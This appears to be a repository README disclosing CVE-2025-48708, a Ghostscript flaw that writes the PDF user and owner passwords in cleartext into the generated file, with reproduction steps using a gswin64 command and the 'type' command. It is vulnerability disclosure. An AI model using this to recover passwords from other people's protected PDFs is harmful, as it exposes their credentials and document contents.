b1tbreaker/cve-2025-48708Lack of argument sanitization leading to password leakage in Ghostscript PDF versions up to 10.05.0.
A vulnerability in Artifex Ghostscript before version 10.05.1 causes the plaintext password used to protect a PDF file to be embedded in the output. The issue is due to a lack of argument sanitization in gs_lib_ctx_stash_sanitized_arg (base/gslibctx.c), particularly when handling # characters.
When generating a password-protected PDF using command-line arguments like -sUserPassword or -sOwnerPassword, the entire invocation, including passwords, is stored in cleartext at the beginning of the generated PDF. Anyone with access to the file can retrieve the password using simple tools like type (on Windows) or cat (on Linux/macOS).
Install Ghostscript version 10.05.0 or earlier
https://github.com/ArtifexSoftware/ghostpdl-downloads
Generate a password-protected PDF using a command such as:
gswin64.exe -dDisplayFormat=198788 -dDisplayResolution=96 -dCompatibilityLevel#1.4 -sUserPassword#123456789 -sOwnerPassword#123456789 -q -P- -dSAFER -dNOPAUSE -dBATCH -sDEVICE#pdfwrite -sOutputFile#C:\Users\Admin\Downloads\test.pdf
Inspect the generated PDF:
type C:\Users\Admin\Downloads\test.pdf
You will see the full command-line string, including the plaintext passwords, embedded at the beginning of the file.